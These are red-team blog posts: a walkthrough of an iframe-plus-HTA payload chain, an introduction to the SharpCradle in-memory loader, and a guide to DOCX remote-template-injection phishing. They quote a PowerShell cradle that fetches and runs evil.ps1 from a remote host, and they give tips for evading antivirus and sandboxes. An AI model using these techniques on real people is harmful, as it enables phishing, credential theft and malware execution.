<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiye498vpmDBYLyUjESu8PGn3e7TIJMFEhzYooTY00IdnPIdk3t0h77kxSp8l1GTrRQ4h-n3y-0r2u_9PxLqt5bOCjs0sfmgnvVNRX_qSTCHCHsUW5nY_bxeuHPh-bMt64PEcobt3W7pkY/s1600/htmlPage.png" style="clear: left; float: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" data-original-height="169" data-original-width="721" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiye498vpmDBYLyUjESu8PGn3e7TIJMFEhzYooTY00IdnPIdk3t0h77kxSp8l1GTrRQ4h-n3y-0r2u_9PxLqt5bOCjs0sfmgnvVNRX_qSTCHCHsUW5nY_bxeuHPh-bMt64PEcobt3W7pkY/d/htmlPage.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"> </td></tr></tbody></table><div class="separator" style="clear: both; text-align: center;">
</div>
<div class="MsoNormal">In a real-world scenario I would likely include the I-frame
on the initial landing page (ex. page requiring a user login to access a secure
email) and host the actual file download on a separate page.<span> </span>This can also be accomplished through the
usage of an html redirect on the landing page.<span>
</span>However, this will be all we need for a demo, and we should now have our
server ready to go and deliver both our source code files as well as our selected
payload.</div>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b>Putting It Together<o:p></o:p></b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Now that we have an understanding of the process behind the
attack, we’ll run through an example demoing the full execution chain on a fully patched Win 10 box, to see how
we can gain execution of an arbitrary C# assembly hosted on an external website
from our initial HTA download.<span> Lets first browse out to the web page we set up on our server (pretending that we received a phishing link directing us to this site):</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1hhnZM4m80pa5nL5KAp55YaKt8546j-6M3xiqKxrgtoKfiJX-X-MHYoUMzMrOS9Q6t_2AMDGw8-PJ0pZC0mGVYqjyo36rlZzy5issfBho3ZWzfNpTA60kurS5k90GDjYqHozDfVakQv8/s1600/webBrowserView.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="148" data-original-width="880" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1hhnZM4m80pa5nL5KAp55YaKt8546j-6M3xiqKxrgtoKfiJX-X-MHYoUMzMrOS9Q6t_2AMDGw8-PJ0pZC0mGVYqjyo36rlZzy5issfBho3ZWzfNpTA60kurS5k90GDjYqHozDfVakQv8/d/webBrowserView.png" /></a></div>
<div class="MsoNormal">
Cool, nothing too crazy going on right now on the web console, I see the link to the download of the .HTA file we'll use for first-stage execution, but that's about it. Lets take a look and see if our I-Frame functioned as intended to download the linked .xml file to disk:</div>
<div class="MsoNormal">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobdWRIpiTeJxfL5tgGtkvBQ-fTfLK90XxSFdhSF0sKUvKxj1faNM2vCxdaKQBKSRRAEzkcMmy5GIQE1gHfTVAnSMNeLDDDLJZVxkEXKwhtnvUUVnzP_mIBulKZ1Hn1CL09_z7aLze-yc/s1600/xmlOnDisk.png" style="clear: left; float: left; margin-bottom: 1em; margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="185" data-original-width="798" height="147" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobdWRIpiTeJxfL5tgGtkvBQ-fTfLK90XxSFdhSF0sKUvKxj1faNM2vCxdaKQBKSRRAEzkcMmy5GIQE1gHfTVAnSMNeLDDDLJZVxkEXKwhtnvUUVnzP_mIBulKZ1Hn1CL09_z7aLze-yc/w640-h147/xmlOnDisk.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Looks like it was successfully downloaded, now lets quickly just validate our code is actually in there:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_ZxPQd6_EFibtnaxFrzAyCK-3f7-XiPDlMGGuR5gsKhJQp5CYXhZTIcrLNBdys1jk-7aXvko_eR9o9AsOuZqEXZvzjYVt180nVobYUOrwdnX66FT7p9sXRUk3TFUxqJptYfyDGkE-0Q/s1600/xmlContents.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="418" data-original-width="950" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_ZxPQd6_EFibtnaxFrzAyCK-3f7-XiPDlMGGuR5gsKhJQp5CYXhZTIcrLNBdys1jk-7aXvko_eR9o9AsOuZqEXZvzjYVt180nVobYUOrwdnX66FT7p9sXRUk3TFUxqJptYfyDGkE-0Q/d/xmlContents.png" /></a></div>
<br /></div>
<div class="MsoNormal">
So we now have our c# code sitting in a .xml in a fairly easy-to-find spot on the disk, lets execute our .hta payload from the website and see what happens:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji4gJCZyhBZaoaojgR71G9pqh6ncx2tfkhGvt4EhnjX4n6o6eePjfcdSc47R2poPZvPAGbXJg8CjrugZpfiPItZ57WrVuLTXj8DIELGpbsZeuvdH_lcNiI5DAi1zYJ00TYp1uOqku0pYs/s1600/execution.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="709" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji4gJCZyhBZaoaojgR71G9pqh6ncx2tfkhGvt4EhnjX4n6o6eePjfcdSc47R2poPZvPAGbXJg8CjrugZpfiPItZ57WrVuLTXj8DIELGpbsZeuvdH_lcNiI5DAi1zYJ00TYp1uOqku0pYs/d/execution.png" /></a></div>
Awesome, we got code execution from our second-stage assembly that was hosted on a remote server.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b>Concerns and
Additional Uses<o:p></o:p></b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
In the process of researching this I stumbled upon several
items that I wanted to mention in addition to the walkthrough given above.<span> </span>First, several of my colleagues raised the
extremely valid concern of browser compatibility.<span> </span>After all, it is not a guarantee that users
will visit your website with IE, and may instead be using Chrome, Firefox,
Edge, etc.<span> </span>The best answer here lies
with Apache’s mod_rewrite functionality.<span>
</span>An inspection of the connecting user agent will allow your server to
determine which payload to serve, and to either redirect those connecting with
non-compatible browsers to either a splash page saying the site is only
viewable in IE, or to present them with a different payload not dependent on
this technique.<span> </span>It is also worth mentioning
that this technique is fully compatible with the Edge browser (if <i>anyone</i> happened to be using it), but
that as it uses a separate directory structure from IE, unique payloads will
need be created or a single payload that searches both trees will need to be
built.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Secondly, a topic that was not touched on but may also be of
interest is the applicability of this technique to payload encryption and environmental
keying. Rather than an iframe coercing a file download containing code to
execute, it could simply contain a decryption key.<span> </span>As this file would only be present on the
system that browsed to the site containing the I-frame, the payload could not
be decrypted elsewhere, even by another system on the same domain, or logged
into by the same user.<span> </span>The encrypted
payload would perform a function similar to the vbscript payload shown above,
in that it would simply search for a file with a specific, pre-determined name
and attempt to extract the extract the decryption key.<span> </span>If successful the primary payload would
decrypt and execute.<o:p></o:p><br />
<br />
<div class="MsoNormal">
Finally, although all demos were done on an internal lab
range, the process has been tested repeatedly over the internet from several
cloud-hosted boxes with success on all stages of the process.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<o:p> </o:p> </div>
<div class="MsoNormal">
<b>Conclusion</b><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
This was a very simple example of a payload that could be
built from two separate files and combined into an effective attack vector. I’m sure that there are way cooler ways to
utilize this and make more effective payloads, from something as simple as
scripting cleanup of the initial stager files from the disk upon successful
execution, to payload encryption and staging of complex project through
multiple files dropped to disk.</div>
<div class="MsoNormal">
<o:p></o:p></div>
</div>
<br />Davehttp://www.blogger.com/profile/17081446936005057389noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-64620550029908563332018-10-24T16:47:00.000-05:002020-06-16T14:04:14.064-05:00SharpCradle - Loading remote C# binaries and executing them in memory<b>Background:</b><br />
<br />
Over the last 4-5 years I have dabbled with using C# for offensive purposes, starting first with running Powershell via C# runspaces and then slowly digging into other ways you could use the language offensively. This eventually led to an idea a few years ago of attempting to write a post exploitation framework all in C#. Unfortunately, no one told me that trying to write a full functioning post exploitation framework by yourself was not only extremely time consuming but also extremely hard. So I decided it would be much easier to release small tools that have the functionality of some of the modules I had been working on, the first release being SharpCradle.<br />
<br />
<b>What it does:</b><br />
<br />
SharpCradle loads a remote C# PE binary from either a remote file or web server using the file / web stream classes (respectively) into a byte[] array in memory. This array is then executed using the assembly class.<br />
<br />
<b>How this could be useful:</b><br />
<br />
SharpCradle isn't exactly the same as our traditional powershell download cradle ( IEX (New-Object Net.Webclient).downloadstring("http://IP/evil.ps1") ) but the concept, at least to me, is the same. We are simply reaching out from our victim's machine to somewhere remotely and retrieving our evil code and executing it in memory. This helps in bypassing endpoint protections by making it harder to detect what exactly we are up to. In fact, I have used this on a wide variety of client engagements and it has yet to get flagged, though I am sure that will eventually change as defenses are getting better every day.<br />
<br />
<b>Caveat:</b><br />
<br />
This does not work for ALL binaries but only those written using managed code, such as C# or Visual Basic .NET.<br />
<br />
<b>Short example:</b><br />
<br />
Since my good friend @g0ldengunsec and I just released <a href="https://github.com/anthemtotheego/SharpSploitConsole">SharpSploitConsole</a> v1.1, which takes advantage of the awesome tool <a href="https://github.com/cobbr/SharpSploit">SharpSploit</a> written by @cobbr_io, I will be using it as my "evil.exe" program that we will pull into memory using SharpCradle.<br />
<br />
By running SharpCradle.exe without any arguments, you will see the below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC-I8gypcbWzVBNpWXD8HnpQRUXl6iuyG1wjSRz9H6spJ-c4uLZlCEtOXfj_97XOZ1vA8aompLBNHZHsTVOy3Z5bNr5wgSwSJGNgbkeW1TTbkmdO-1C-9sXn8h58avmTVCIlwBDe6A3t4/s1600/SCradle.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="1600" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC-I8gypcbWzVBNpWXD8HnpQRUXl6iuyG1wjSRz9H6spJ-c4uLZlCEtOXfj_97XOZ1vA8aompLBNHZHsTVOy3Z5bNr5wgSwSJGNgbkeW1TTbkmdO-1C-9sXn8h58avmTVCIlwBDe6A3t4/s640/SCradle.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
By simply running SharpCradle.exe with the -w flag and giving it the web address of SharpSploitConsole_x64.exe with arguments, you will see that we are able to execute SharpSploitConsole in memory without the SharpSploitConsole binary ever touching disk.<br />
<br />
An example of downloading the binary into memory and executing the function logonpasswords from mimikatz would look like the below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-BakoweYWqP69ZPzyYGIvMVoreh7KZQtqVIfG6QTnp2yHhQzzqSNgsAZxTtoEHCyx_wQKyKKRL6ImXaPTCWr4U88b9euN7eH5aRSnErdZKOJXsVRwa7uipBpt2nEYU2TUXeZj7d05wtQ/s1600/SCradle2.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="445" data-original-width="1561" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-BakoweYWqP69ZPzyYGIvMVoreh7KZQtqVIfG6QTnp2yHhQzzqSNgsAZxTtoEHCyx_wQKyKKRL6ImXaPTCWr4U88b9euN7eH5aRSnErdZKOJXsVRwa7uipBpt2nEYU2TUXeZj7d05wtQ/s640/SCradle2.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
Since SharpCradle also has the ability to retrieve binaries from a file share, we could, for example, use Impacket's smbserver.py to spin up a quick anonymous file share on our attack system and call our evil.exe from there. We could also go as far as to combine this with post exploitation frameworks. Cobalt Strike's execute-assembly function currently has a 1MB limit. SharpCradle could be used as away around this by using Cobalt Strike to execute SharpCradle to pull in larger binaries that are over 1MB in size.<br />
<br />
Lastly, I have left a few links to where you can grab the tool as well as stand alone .cs files for both web stream or file stream in case you want to customize your own.<br />
<br />
<b>Link to tools:</b><br />
<br />
SharpCradle GitHub - <a href="https://github.com/anthemtotheego/SharpCradle">https://github.com/anthemtotheego/SharpCradle</a><br />
<br />
SharpCradle Compiled Binaries - <a href="https://github.com/anthemtotheego/SharpCradle/tree/master/CompiledBinaries">https://github.com/anthemtotheego/SharpCradle/tree/master/CompiledBinaries</a><br />
<br />
SharpCradleWeb.cs - <a href="https://github.com/anthemtotheego/Public/tree/master/Offensive_CSharp/SharpCradleWeb">https://github.com/anthemtotheego/Public/tree/master/Offensive_CSharp/SharpCradleWeb</a><br />
<br />
SharpCradleFileShare.cs - <a href="https://github.com/anthemtotheego/Public/tree/master/Offensive_CSharp/SharpCradleShare">https://github.com/anthemtotheego/Public/tree/master/Offensive_CSharp/SharpCradleShare</a><br />
<br />
SharpSploitConsole - <a href="https://github.com/anthemtotheego/SharpSploitConsole">https://github.com/anthemtotheego/SharpSploitConsole</a><br />
<br />
SharpSploit - <a href="https://github.com/cobbr/SharpSploit">https://github.com/cobbr/SharpSploit</a><br />
<br />
<br />
<br />
<br />
<br />
<br />AnthemToTheEgohttp://www.blogger.com/profile/10525470231345792074noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-90012526607961235842018-07-18T19:11:00.001-05:002020-06-16T08:43:35.835-05:00Executing Macros From a DOCX With Remote Template Injection<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 16.0px 'Helvetica Light'; color: #2e74b5; -webkit-text-stroke: #2e74b5}
p.p2 {margin: 0.0px 0.0px 8.0px 0.0px; font: 11.0px 'Trebuchet MS'; color: #000000; -webkit-text-stroke: #000000}
p.p3 {margin: 0.0px 0.0px 12.0px 0.0px; font: 11.0px 'Trebuchet MS'; color: #000000; -webkit-text-stroke: #000000; min-height: 12.0px}
p.p4 {margin: 0.0px 0.0px 8.0px 0.0px; font: 11.0px 'Trebuchet MS'; color: #000000; -webkit-text-stroke: #000000; min-height: 12.0px}
p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; font: 13.0px 'Helvetica Light'; color: #2e74b5; -webkit-text-stroke: #2e74b5}
span.s1 {font-kerning: none}
</style> <br />
<h2><span class="s1"><span style="color: #0b5394; font-family: "arial" , "helvetica" , sans-serif;">The What:</span></span></h2><div class="p2"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">In this post, I want to talk about and show off a code execution method which was shown to me a little while back. This method allows one to create a DOCX document which will load up and allow a user to execute macros using a remote DOTM template file. This attack has been seen in the wild, is partially included in <a href="https://github.com/ryhanson/phishery/blob/master/badocx/badocx.go">open-source offensive security tools</a>, as has been blogged about by <a href="https://blog.talosintelligence.com/2017/07/template-injection.html">Cisco Talos</a>, but in the blog post and the open-source tool, it is only seen as a credential stealing attack typically over the SMB protocol. This blog post will detail how to use this method to download a macro-enabled template over HTTP(S) in a proxy-aware method into a DOCX document.</span></span></div><h3><span class="s1" style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></h3><h2><span class="s1"><span style="color: #0b5394; font-family: "arial" , "helvetica" , sans-serif;">The Why:</span></span></h2><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">The benefit of this attack versus a traditional macro enabled document is multidimensional. When executing a phishing attack against a target, you able to attach the .docx directly to the email and you are very unlikely to get blocked based on the file extension. Many organizations block .doc or .docm but allow .docx because they are not supposed to be able to contain macros.</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">Another reason this attack will likely land more often is because the attachment itself does not contain malicious code. The macro itself is not seen by any static email scanners so it is less likely to be blocked. In the event that your target uses a sandbox to detonate email attachments, you can use various sandbox evasion techniques such as modrewrite rules or IP limiting to prevent the sandbox from being able to pull down the malicious template. <a href="https://twitter.com/bluscreenofjeff">@bluescreenofjeff</a> has a wonderful guide on creating modrewrite rules for this type of evasion in his <a href="https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki">Red Team Infrastructure Wiki</a>. <span class="Apple-converted-space"> </span></span></span></div><h3><span class="s1" style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></h3><h2><span class="s1"><span style="color: #0b5394; font-family: "arial" , "helvetica" , sans-serif;">The How:</span></span></h2><div class="p2"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">To start this attack, we need to create two different files. The first will be the macro-enabled template, or .dotm file, which will contain a malicious VBA macro. The second will be the seemingly benign .docx file which contains no malicious code itself, only a target link which points to your malicious template file.</span></span></div><h4><span class="s1" style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></h4><h3><span class="s1"><span style="color: #0b5394; font-family: "arial" , "helvetica" , sans-serif;">Getting Started:</span></span></h3><div class="p2"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">In my blog posts and trainings that I provide to others, I aim to show examples using free and open-source tools. I do this because I want anyone reading this blog to be able to try it on their own (always against their own systems or systems which they have permission to try it on) and do not want to force people into purchasing commercial tools. For this reason, I will walk through the steps for creating the remote template document to execute a <a href="https://github.com/EmpireProject/Empire">PowerShell Empire</a> payload. To keep to the purpose of this post, I won’t detail out how to create the listener or the macro for Empire here. There are many tutorials out there on how to do this already. I will just walk through creating the documents to execute the macro.</span></span></div><h3><span style="font-family: "arial" , "helvetica" , sans-serif;"><span class="s1"><br />
</span><span class="s1"><span style="color: #0b5394;">Creating the Macro-Enabled Template:</span></span></span></h3><div class="p2"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">For this attack to work, we need to create a macro-enabled Word template (.dotm file extension) which contains our malicious Empire macro. Open up Word and make the Developer tab on the ribbon visible:</span></span></div><div class="p2"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheBDmDG9Wf_oMFg02qSu1M3gJM0TmqNFeSNp-9blPmsLjh9kZpS1IBG9OPMjT2IlKKc9qacuraznShyphenhyphenh_OoQ1RZDFMC-nK_mhXAGYjMnUTmqf4VbykiRDMPi3-mqQQehzRcPO6ciqWJCib/s1600/1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="207" data-original-width="1600" height="82" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheBDmDG9Wf_oMFg02qSu1M3gJM0TmqNFeSNp-9blPmsLjh9kZpS1IBG9OPMjT2IlKKc9qacuraznShyphenhyphenh_OoQ1RZDFMC-nK_mhXAGYjMnUTmqf4VbykiRDMPi3-mqQQehzRcPO6ciqWJCib/s640/1.png" width="640" /></span></a></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk5T_a7-stKbFMfbnckzuPYDuGuQ-0mcYWIaf6TUTz_iNdn3VkrRfg40Qtm2IQTQbbhSnIZqDnz2HuDyF3Ug0Stqq_c3VrQrR_TCHt7aJ6zl0CLN25aNsKAY-0YQUaNAgN3Fz8LqqtZ2Lx/s1600/2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="1023" data-original-width="1241" height="527" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk5T_a7-stKbFMfbnckzuPYDuGuQ-0mcYWIaf6TUTz_iNdn3VkrRfg40Qtm2IQTQbbhSnIZqDnz2HuDyF3Ug0Stqq_c3VrQrR_TCHt7aJ6zl0CLN25aNsKAY-0YQUaNAgN3Fz8LqqtZ2Lx/s640/2.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="separator" style="clear: both; text-align: left;"><span style="-webkit-text-stroke-color: rgb(0, 0, 0); font-family: "arial" , "helvetica" , sans-serif;">Then open up the Visual Basic editor from the Developer tab and double-click on ThisDocument under the current project to open up the code window. Paste in your macro code into this window:</span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBpjnR0o2hSDipaACcAGWq3Yg3-SqtW_o2P9R-hxEu6EDajIJRsCz5_zuQeAe8K57m5BmLptTNnqzkDVKEGDbmzs4I7dfj4cko2ypWHd3DKyolOVmRBpWThyphenhyphen0Qd0G3UaCAvmEjTdIWhxVn/s1600/3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="839" data-original-width="1600" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBpjnR0o2hSDipaACcAGWq3Yg3-SqtW_o2P9R-hxEu6EDajIJRsCz5_zuQeAe8K57m5BmLptTNnqzkDVKEGDbmzs4I7dfj4cko2ypWHd3DKyolOVmRBpWThyphenhyphen0Qd0G3UaCAvmEjTdIWhxVn/s640/3.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">Give the template a name and save the file as a .dotm format. Please note that the name is usually briefly visible to the user, so I recommend something seemingly benign such as ‘InvoiceTemplate.dotm’:</span></span></div><div><span class="s1" style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2M0Vur_5p7vF0O2dAbrwsb2km462rmMlFDqXJQvsDSQM1eNkChs7W5tK-r9pbQqZbYEDYv3vL3zP5KdLM6RLt5MPNIlsJYO12RyKul_qqVQXWe0Yzw0-kW5iCGV-NNISmHR8hUA2y7cdz/s1600/4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="936" data-original-width="1413" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2M0Vur_5p7vF0O2dAbrwsb2km462rmMlFDqXJQvsDSQM1eNkChs7W5tK-r9pbQqZbYEDYv3vL3zP5KdLM6RLt5MPNIlsJYO12RyKul_qqVQXWe0Yzw0-kW5iCGV-NNISmHR8hUA2y7cdz/s640/4.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">Since I am just using the default macro from PowerShell Empire, it quickly is picked up by Windows Defender, so I am going to disable it for the demo. If your target uses Windows Defender, you will need to pick a different tool or perform obfuscation until you can get a working macro.</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normla;">At this point, I tend to like to validate my template and macro by just double-clicking on the document and making sure that I get the ‘Enable Content’ button and that I get an agent when I click on it:</span></span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3QbIrOWJvR0j6ZUmM5gVXDiH2W_Aitmn1J3dU80uDWf8NH1FfKjl4MdJArikn7pYjo4X-B2iWuSMOUe0caRSWq1aohclZ_Bs51t1-I5_5zq1Lg7Okui6DaKF_cyjPJlM7zbLblYzm1fSC/s1600/5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="1138" data-original-width="1600" height="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3QbIrOWJvR0j6ZUmM5gVXDiH2W_Aitmn1J3dU80uDWf8NH1FfKjl4MdJArikn7pYjo4X-B2iWuSMOUe0caRSWq1aohclZ_Bs51t1-I5_5zq1Lg7Okui6DaKF_cyjPJlM7zbLblYzm1fSC/s640/5.png" width="640" /></span></a></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisN1sox5pBEZo5Ul6V_BV7ulz5mZxsUU4C1zXT4OkPqAUqS0Jeso-zVhJTxEDyq4AzsYt1wYzpHPpijmgFDA99fQUjg7_IkxoZDTRcxcjyG4CTyJGupeixlNEj3uhW7w-FgGUKq2yZBN1H/s1600/6.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="501" data-original-width="1600" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisN1sox5pBEZo5Ul6V_BV7ulz5mZxsUU4C1zXT4OkPqAUqS0Jeso-zVhJTxEDyq4AzsYt1wYzpHPpijmgFDA99fQUjg7_IkxoZDTRcxcjyG4CTyJGupeixlNEj3uhW7w-FgGUKq2yZBN1H/s640/6.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="separator" style="clear: both; text-align: left;"><span style="-webkit-text-stroke-color: rgb(0, 0, 0);"><span style="font-family: "arial" , "helvetica" , sans-serif;">It works!</span></span></div><div class="separator" style="clear: both; text-align: left;"><span style="-webkit-text-stroke-color: rgb(0, 0, 0);"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></span></div><h3><span class="s1"><span style="color: #0b5394; font-family: "arial" , "helvetica" , sans-serif;">Creating the Remote-Template-Loading Document:</span></span></h3><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">With the template working, we now need to create a .docx file that will download and load in the template from a remote resource. The easiest way in which I have found to do this is to create a .docx document from one of the provided Word templates, then just modify the target:</span></span></div><div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqEeahByOG3Ra69PQXy50SwZzUB2seKAZNXyERDJ5_q3FAGo0d2uOgXHmZ7vWTCD5uyAZpUydR0RapAl6YRx_9tDBDZnvpCCeHJbSrqTxUSkhC0XZiz2hRKe5NzGjeciw9sUMHqlFGsxrR/s1600/7.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="1000" data-original-width="1600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqEeahByOG3Ra69PQXy50SwZzUB2seKAZNXyERDJ5_q3FAGo0d2uOgXHmZ7vWTCD5uyAZpUydR0RapAl6YRx_9tDBDZnvpCCeHJbSrqTxUSkhC0XZiz2hRKe5NzGjeciw9sUMHqlFGsxrR/s640/7.png" width="640" /></span></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />
</span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;">Modify the document as necessary to meet your phishing scenario in order to get your target user to click the ‘Enable Content’ button if it shows up for them. Save your document in the .docx format.</span></span></div><div class="p2" style="-webkit-text-stroke-width: 0px;"><span class="s1"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: normal;"><br />
